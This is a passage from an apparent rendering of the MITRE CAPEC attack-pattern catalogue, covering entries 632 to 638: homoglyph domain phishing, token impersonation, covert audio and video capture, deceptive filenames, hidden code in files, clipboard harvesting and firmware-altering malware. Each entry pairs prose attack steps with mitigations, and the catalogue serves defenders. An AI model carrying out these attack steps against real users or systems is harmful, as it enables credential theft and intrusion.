is the legitimate guaranteebanking.com login page.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user thinks they are logging into their account, but have actually just given their guaranteebanking.com credentials to the adversary. The adversary can now use the user's legitimate guaranteebanking.com credentials to log into the user's account and steal any money which may be in the account.&lt;/xhtml:p&gt;See also: SoundSquatting vulnerability allows an adversary to impersonate a trusted domain and leverages a user's confusion between the meaning of two words which are pronounced the same into visiting the malicious website to steal user credentials.</xhtml:div> + + + + + + + + + + + + #indReferenceReference37116 + Reference_37116 + + + + + + + + + REF-491 + + + + + + + + + + + + #indContentHistoryContentHistory37118 + Content_History_37118 + + + + + + + + + + + + + + + + #indSubmissionSubmission37119 + Submission_37119 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification37124 + Modification_37124 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification37130 + Modification_37130 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37136 + Modification_37136 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37142 + Modification_37142 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-632 + Homograph Attack via Homoglyphs + + + + + + + + + 632 + + + + + Homograph Attack via Homoglyphs + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary registers a domain name containing a homoglyph, leading the registered domain to appear the same as a trusted domain. A homograph attack leverages the fact that different characters among various character sets look the same to the user. Homograph attacks must generally be combined with other attacks, such as phishing attacks, in order to direct Internet traffic to the adversary-controlled destinations.</xhtml:div> + + + + + + + + + + + + #indAlternateTermHomoglyphAttack + Homoglyph Attack + + + + + + + + + Homoglyph Attack + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37161 + Related_Attack_Pattern_37161 + + + + + + + + + + + + + + 616 + + + + + 437 + + + + + 512 + + + + + 513 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37167 + Related_Attack_Pattern_37167 + + + + + + + + + + + + + + 89 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37168 + Related_Attack_Pattern_37168 + + + + + + + + + + + + + + 543 + + + + + + + + + + + + #indAttackStepAttackStep37171 + Attack_Step_37171 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target website] The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Research popular or high traffic websites.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37177 + Attack_Step_37177 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate trusted domain] In order to impersonate the trusted domain, the adversary needs to register the URL containing the homoglpyh character(s).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Register the Homograph domain.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37183 + Attack_Step_37183 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Deceive user into visiting domain] Finally, the adversary needs to deceive a user into visiting the Homograph domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute a phishing attack and send a user an e-mail convincing the to click on a link leading the user to the malicious domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37194 + Skill_37194 + + + + + + + + + + + + + + Adversaries must be able to register DNS hostnames/URL’s. + + + + + + + + + + + + #indConsequenceConsequence37197 + Consequence_37197 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Depending on the intention of the adversary, a successful Homograph attack can be leveraged to execute more complex attacks such as cross-site scripting or stealing account credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticate all servers and perform redundant checks when using DNS hostnames.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Utilize browsers that can warn users if URLs contain characters from different character sets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary sends an email, impersonating bankofamerica.com to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;However, the link the in email is bankofamerica.com, where the 'a' and 'e' characters are Cyrillic and not ASCII, instead of bankofamerica.com (all ASCII), which the user clicks after carefully reading the URL, making sure that typosquatting and soundsquatting attacks are not being leveraged against them.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user is directed to the adversary's website, which appears as if it is the legitimate bankofamerica.com login page.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The user thinks they are logging into their account, but have actually just given their bankofamerica.com credentials to the adversary. The adversary can now use the user's legitimate bankofamerica.com credentials to log into the user's account and steal any money which may be in the account.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Homograph vulnerability allows an adversary to impersonate a trusted domain by leveraging homoglyphs and tricking a user into visiting the malicious website to steal user credentials.&lt;/xhtml:p&gt;See also: CVE-2012-0584 CVE-2009-0652 CVE-2005-0233 CVE-2005-0234 CVE-2005-0235 CVE-2005-0236 CVE-2005-0237 CVE-2005-0238</xhtml:div> + + + + + 1007 + + + + + + + + + + + + #indContentHistoryContentHistory37218 + Content_History_37218 + + + + + + + + + + + + + + + + #indSubmissionSubmission37219 + Submission_37219 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + + + + + + + + #indModificationModification37224 + Modification_37224 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification37230 + Modification_37230 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37236 + Modification_37236 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37242 + Modification_37242 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37248 + Modification_37248 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-633 + Token Impersonation + + + + + + + + + 633 + + + + + Token Impersonation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37260 + Related_Attack_Pattern_37260 + + + + + + + + + + + + + + 194 + + + + + 403 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack is only applicable when a downstream user leverages tokens to verify identity, and then takes action based on that identity.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37268 + Consequence_37268 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By faking the source of data or services, an adversary can cause a target to make incorrect decisions about how to proceed.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37273 + Consequence_37273 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By impersonating identities that have an increased level of access, an adversary gain privilege that they many not have otherwise had.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37278 + Consequence_37278 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Faking the source of data or services can be used to create a false trail in logs as the target will associated any actions with the impersonated identity instead of the adversary.</xhtml:div> + + + + + 287 + + + + + 1270 + + + + + + + + + + + + #indTaxonomyMappingAccessTokenManipulation + Access Token Manipulation + + + + + + + + + + + + + + 1134 + + + + + Access Token Manipulation + + + + + + + + + + + + #indContentHistoryContentHistory37294 + Content_History_37294 + + + + + + + + + + + + + + + + #indSubmissionSubmission37295 + Submission_37295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-04-12 + + + + + + + + + + + + #indModificationModification37300 + Modification_37300 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37306 + Modification_37306 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37312 + Modification_37312 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-634 + Probe Audio and Video Peripherals + + + + + + + + + 634 + + + + + Probe Audio and Video Peripherals + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary exploits the target system's audio and video functionalities through malware or scheduled tasks. The goal is to capture sensitive information about the target for financial, personal, political, or other gains which is accomplished by collecting communication data between two parties via the use of peripheral devices (e.g. microphones and webcams) or applications with audio and video capabilities (e.g. Skype) on a system.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37326 + Related_Attack_Pattern_37326 + + + + + + + + + + + + + + 651 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37330 + Related_Attack_Pattern_37330 + + + + + + + + + + + + + + 545 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Knowledge of the target device's or application’s vulnerabilities that can be capitalized on with malicious code. The adversary must be able to place the malicious code on the target device.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37336 + Skill_37336 + + + + + + + + + + + + + + To deploy a hidden process or malware on the system to automatically collect audio and video data. + + + + + + + + + + + + #indConsequenceConsequence37339 + Consequence_37339 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prevent unknown code from executing on a system through the use of an allowlist policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Patch installed applications as soon as new updates become available.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can capture audio and video, and transmit the recordings to a C2 server or a similar capability.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can capture and record from audio peripherals in a vehicle via a Car Whisperer attack. If an adversary is within close proximity to a vehicle with Bluetooth capabilities, they may attempt to connect to the hands-free system when it is in pairing mode. With successful authentication, if an authentication system is present at all, an adversary may be able to play music/voice recordings, as well begin a recording and capture conversations happening inside the vehicle. Successful authentication relies on the pairing security key being set to a default value, or by brute force (which may be less practical in an outside environment) Depending on the sensitivity of the information being discussed, this scenario can be extremely compromising.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may also use a technique called Bluebugging, which is similar to Bluesnarfing but requires the adversary to be between 10-15 meters of the target device. Bluebugging creates a backdoor for an attacker to listen/record phone calls, forward calls, send SMS and retrieve the phonebook.</xhtml:div> + + + + + 267 + + + + + + + + + + + + #indTaxonomyMappingAudioCapture + Audio Capture + + + + + + + + + + + + + + 1123 + + + + + Audio Capture + + + + + + + + + + + + #indTaxonomyMappingVideoCapture + Video Capture + + + + + + + + + + + + + + 1125 + + + + + Video Capture + + + + + + + + + + + + #indReferenceReference37367 + Reference_37367 + + + + + + + + + REF-653 + + + + + + + + + + + + #indReferenceReference37368 + Reference_37368 + + + + + + + + + REF-654 + + + + + + + + + + + + #indContentHistoryContentHistory37370 + Content_History_37370 + + + + + + + + + + + + + + + + #indSubmissionSubmission37371 + Submission_37371 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification37376 + Modification_37376 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37382 + Modification_37382 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances, References + + + + + + + + + + + + #CAPEC-635 + Alternative Execution Due to Deceptive Filenames + + + + + + + + + 635 + + + + + Alternative Execution Due to Deceptive Filenames + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The extension of a file name is often used in various contexts to determine the application that is used to open and use it. If an attacker can cause an alternative application to be used, it may be able to execute malicious code, cause a denial of service or expose sensitive information.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37396 + Related_Attack_Pattern_37396 + + + + + + + + + + + + + + 165 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The use of the file must be controlled by the file extension.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Applications should insure that the content of the file is consistent with format it is expecting, and not depend solely on the file extension.</xhtml:div> + + + + + 162 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingDoubleFileExtension + Masquerading: Double File Extension + + + + + + + + + + + + + + 1036.007 + + + + + Masquerading: Double File Extension + + + + + + + + + + + + #indContentHistoryContentHistory37413 + Content_History_37413 + + + + + + + + + + + + + + + + #indSubmissionSubmission37414 + Submission_37414 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-31 + + + + + + + + + + + + #indModificationModification37419 + Modification_37419 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-636 + Hiding Malicious Data or Code within Files + + + + + + + + + 636 + + + + + Hiding Malicious Data or Code within Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Files on various operating systems can have a complex format which allows for the storage of other data, in addition to its contents. Often this is metadata about the file, such as a cached thumbnail for an image file. Unless utilities are invoked in a particular way, this data is not visible during the normal use of the file. It is possible for an attacker to store malicious data or code using these facilities, which would be difficult to discover.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37433 + Related_Attack_Pattern_37433 + + + + + + + + + + + + + + 165 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The operating system must support a file system that allows for alternate data storage for a file.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Many tools are available to search for the hidden data. Scan regularly for such data using one of these tools.</xhtml:div> + + + + + 506 + + + + + + + + + + + + #indTaxonomyMappingDataObfuscationSteganography + Data Obfuscation: Steganography + + + + + + + + + + + + + + 1001.002 + + + + + Data Obfuscation: Steganography + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationSteganography + Obfuscated Files or Information: Steganography + + + + + + + + + + + + + + 1027.003 + + + + + Obfuscated Files or Information: Steganography + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationCompileAfterDelivery + Obfuscated Files or Information: Compile After Delivery + + + + + + + + + + + + + + 1027.004 + + + + + Obfuscated Files or Information: Compile After Delivery + + + + + + + + + + + + #indTaxonomyMappingSignedBinaryProxyExecutionCompiledHTMLFile + Signed Binary Proxy Execution: Compiled HTML File + + + + + + + + + + + + + + 1218.001 + + + + + Signed Binary Proxy Execution: Compiled HTML File + + + + + + + + + + + + #indTaxonomyMappingTemplateInjection + Template Injection + + + + + + + + + + + + + + 1221 + + + + + Template Injection + + + + + + + + + + + + #indReferenceReference37467 + Reference_37467 + + + + + + + + + REF-493 + + + + + + + + + + + + #indContentHistoryContentHistory37469 + Content_History_37469 + + + + + + + + + + + + + + + + #indSubmissionSubmission37470 + Submission_37470 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-05-31 + + + + + + + + + + + + #indModificationModification37475 + Modification_37475 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37481 + Modification_37481 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37487 + Modification_37487 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37493 + Modification_37493 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37499 + Modification_37499 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-637 + Collect Data from Clipboard + + + + + + + + + 637 + + + + + Collect Data from Clipboard + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary exploits an application that allows for the copying of sensitive data or information by collecting information copied to the clipboard. Data copied to the clipboard can be accessed by other applications, such as malware built to exfiltrate or log clipboard contents on a periodic basis. In this way, the adversary aims to garner information to which they are unauthorized.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37513 + Related_Attack_Pattern_37513 + + + + + + + + + + + + + + 150 + + + + + 514 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep37519 + Attack_Step_37519 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find an application that allows copying sensititve data to clipboad] An adversary first needs to find an application that allows copying and pasting of sensitive information. This could be an application that prints out temporary passwords to the screen, private email addresses, or any other sensitive information or data</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37524 + Attack_Step_37524 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Target users of the application] An adversary will target users of the application in order to obtain the information in their clipboard on a periodic basic</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Install malware on a user's system designed to log clipboard contents periodically</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Get the user to click on a malicious link that will bring them to an application to log the contents of the clipboard</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37531 + Attack_Step_37531 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Follow-up attack] Use any sensitive information found to carry out a follow-up attack</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have a means (i.e., a pre-installed tool or background process) by which to collect data from the clipboard and store it. That is, when the target copies data to the clipboard (e.g., to paste into another application), the adversary needs some means of capturing that data in a third location.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37541 + Skill_37541 + + + + + + + + + + + + + + To deploy a hidden process or malware on the system to automatically collect clipboard data. + + + + + + + + + + + + #indConsequenceConsequence37544 + Consequence_37544 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">While copying and pasting of data with the clipboard is a legitimate and practical function, certain situations and context may require the disabling of this feature. Just as certain applications disable screenshot capability, applications that handle highly sensitive information should consider disabling copy and paste functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Employ a robust identification and audit/blocking via using an allowlist of applications on your system. Malware may contain the functionality associated with this attack pattern.</xhtml:div> + + + + + 267 + + + + + + + + + + + + #indTaxonomyMappingClipboardData + Clipboard Data + + + + + + + + + + + + + + 1115 + + + + + Clipboard Data + + + + + + + + + + + + #indContentHistoryContentHistory37562 + Content_History_37562 + + + + + + + + + + + + + + + + #indSubmissionSubmission37563 + Submission_37563 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification37567 + Modification_37567 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37573 + Modification_37573 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Mitigations, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification37579 + Modification_37579 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-638 + Altered Component Firmware + + + + + + + + + 638 + + + + + Altered Component Firmware + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits systems features and/or improperly protected firmware of hardware components, such as Hard Disk Drives (HDD), with the goal of executing malicious code from within the component's Master Boot Record (MBR). Conducting this type of attack entails the adversary infecting the target with firmware altering malware, using known tools, and a payload. Once this malware is executed, the MBR is modified to include instructions to execute the payload at desired intervals and when the system is booted up. A successful attack will obtain persistence within the victim system even if the operating system is reinstalled and/or if the component is formatted or has its data erased.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern37593 + Related_Attack_Pattern_37593 + + + + + + + + + + + + + + 452 + + + + + + + + + + + + #indAttackStepAttackStep37596 + Attack_Step_37596 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Select Target] The adversary searches for a suitable target to attack, such as government and/or private industry organizations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Conduct reconnaissance to determine potential targets to exploit.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37602 + Attack_Step_37602 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Components] After selecting a target, the adversary determines whether a vulnerable component, such as a specific make and model of a HDD, is contained within the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Remote Access Vector] The adversary gains remote access to the target, typically via additional malware, and explores the system to determine hardware components that are being leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Physical Access Vector] The adversary intercepts components in transit and determines if the component is vulnerable to attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37609 + Attack_Step_37609 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Optional: Create Payload] If not using an already existing payload, the adversary creates their own to be executed at defined intervals and upon system boot processes. This payload may then be tested on the target system or a test system to confirm its functionality.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep37614 + Attack_Step_37614 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Insert Firmware Altering Malware] Once a vulnerable component has been identified, the adversary leverages known malware tools to infect the component's firmware and drop the payload within the component's MBR. This allows the adversary to maintain persistence on the target and execute the payload without being detected.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary inserts the firmware altering malware on the target component, via the use of known malware tools.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Physical Access Vector] The adversary then sends the component to its original intended destination, where it will be installed onto a victim system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about the target component's firmware</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about Master Boot Records (MBR)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about tools used to insert firmware altering malware.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Advanced knowledge about component shipments to the target organization.</xhtml:div> + + + + + + + + + + + + #indSkillSkill37629 + Skill_37629 + + + + + + + + + + + + + + Ability to access and reverse engineer hardware component firmware. + + + + + + + + + + + + #indSkillSkill37630 + Skill_37630 + + + + + + + + + + + + + + Ability to intercept components in transit. + + + + + + + + + + + + #indSkillSkill37631 + Skill_37631 + + + + + + + + + + + + + + Ability to create malicious payload to be executed from MBR. + + + + + + + + + + + + #indSkillSkill37632 + Skill_37632 + + + + + + + + + + + + + + Ability to leverage known malware tools to infect target system and insert firmware altering malware/payload + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manufacturer source code for hardware components.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malware tools used to insert malware and payload onto target component.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Either remote or physical access to the target component.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Output observed from processes, API calls, or Self-Monitoring, Analysis and Reporting Technology (SMART) may provide insight into malicious modifications of MBRs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Digital forensics tools may produce output that indicates an attack of this nature has occurred. Examples include unexpected disk partitions and/or unusual strings.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence37644 + Consequence_37644 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence37652 + Consequence_37652 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage hardware components known to not be susceptible to these types of attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement hardware RAID infrastructure.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In 2014, the Equation group was observed levering known malware tools to conduct component firmware alteration attacks against hard drives. In total, 12 HDD categories were shown to be vulnerable from manufacturers such as Western Digital, HGST, Samsung, and Seagate. Because of their complexity, only a few victims were targeted by these attacks. [REF-664]</xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingPreOSBootComponentFirmware + Pre-OS Boot:Component Firmware + + + + + + + + + + + + + + 1542.002 + + + + + Pre-OS Boot:Component Firmware + + + + + + + + + + + + #indReferenceReference37673 + Reference_37673 + + + + + + + + + REF-664 + + + + + + + + + + + + #indReferenceReference37674 + Reference_37674 + + + + + + + + + REF-665 + + + + + + + + + + + + #indReferenceReference37675 + Reference_37675 + + + + + + + + + REF-666 + + + + + + + + + + + + #indContentHistoryContentHistory37677 + Content_History_37677 + + + + + + + + + + + + + + + + #indSubmissionSubmission37678 + Submission_37678 + + + + + + + + + CAPEC Content Team + + + + + 2018-07-31 + + + + + + + + + + + + #indModificationModification37682 + Modification_37682 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification37688 + Modification_37688 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Consequences, Description, Example_Instances, Execution_Flow, Indicators, Mitigations, Prerequisites, References, Resources_Required, Skills_Required, Typical_Severity + + + + + + + + + + + + #CAPEC-639 + Probe System Files + + + + + + + + + 639 + + + + + Probe System Files + + + + + + + + + + + + + + + <xhtml:div 